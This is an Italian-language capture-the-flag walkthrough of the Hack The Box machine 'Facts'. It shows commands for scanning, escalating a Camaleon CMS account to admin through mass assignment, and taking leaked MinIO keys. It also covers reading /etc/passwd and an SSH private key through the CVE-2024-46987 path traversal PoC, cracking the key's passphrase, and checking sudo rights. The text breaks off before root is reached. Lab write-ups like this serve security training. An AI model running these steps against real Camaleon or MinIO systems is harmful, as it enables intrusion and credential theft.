HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins.
suriyaboon/hackthebox-facts
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation
Iniziare con una scansione completa delle porte TCP per identificare i servizi aperti.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Risultati:
| Porta | Servizio | Note |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Sconosciuto | Identificato come MinIO |
Aggiungere il target a /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Navigando su http://facts.htb si scopre un sito di trivia costruito su Camaleon CMS (Ruby on Rails). Indicatori chiave:
_factsapp_session (sessione Rails)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumerare la sitemap per tutte le pagine disponibili:
curl -s http://facts.htb/sitemap.xml
Percorsi notevoli scoperti:
/admin → reindirizza a /admin/login/rss/animal-ejected, /anne-frank, ecc.Verificare la presenza del pannello di login admin:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Sondando la porta sconosciuta con curl si scopre MinIO, un servizio di object storage compatibile con S3:
curl -v http://facts.htb:54321
Risposta:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Gli header confermano: Server: MinIO
Sondare potenziali nomi di bucket (una risposta 403 da sola non conferma che un bucket esista):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Tutti restituiscono 403 Forbidden — i bucket esistono ma richiedono credenziali.
Dai percorsi degli asset e dal cookie di sessione, il CMS viene identificato come Camaleon CMS.
Verificare la presenza di vulnerabilità note:
searchsploit camaleon
Risultati:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
La versione del pannello admin è confermata come 2.9.0 (visibile nel footer dopo il login).
La pagina di login admin su http://facts.htb/admin/login include un link "Create an account". Registrare un nuovo account:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientDopo la registrazione, effettuare il login alla dashboard admin. L'account ha privilegi limitati di tipo Client.
Camaleon CMS è vulnerabile a un attacco di mass assignment sull'endpoint di cambio password. Intercettando la richiesta di cambio password e iniettando un parametro password[role], un attaccante può escalare il proprio ruolo ad admin.
Passaggi usando Burp Suite:
Client.Profile → Edit → Change Password.&password[role]=admin al body della richiesta:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.L'account ora ha privilegi admin, garantendo pieno accesso al pannello admin del CMS inclusi Settings, Media e Filesystem Settings.
Con l'accesso admin, navigare su:
Settings → General Site → Filesystem Settings
La pagina rivela credenziali MinIO (compatibili AWS S3) hardcoded:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configurare AWS CLI ed enumerare i bucket:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Bucket scoperti:
2025-09-11 internal
2025-09-11 randomfacts
Il bucket internal contiene la home directory dell'utente trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
In alternativa, la chiave privata SSH può essere recuperata tramite CVE-2024-46987, una vulnerabilità di path traversal autenticata in Camaleon CMS che consente la lettura arbitraria di file del server.
Clonare il PoC pubblico:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Leggere file sensibili:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Output (righe rilevanti):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Vengono identificati due utenti: trivia e william. Poiché trivia ha una shell di login e una home directory, verificare la presenza di una chiave privata SSH:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Salvare l'output della chiave in un file:
chmod 600 id_ed25519
La chiave privata SSH è cifrata con una passphrase. Usare ssh2john e john per crackarla:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Passphrase crackata: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Recuperare la flag utente:
cat /home/william/user.txt
Verificare i privilegi sudo per l'utente trivia:
sudo -l
Output:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
L'utente può eseguire /usr/bin/facter come root senza password. facter è uno strumento Ruby per la raccolta di informazioni di sistema.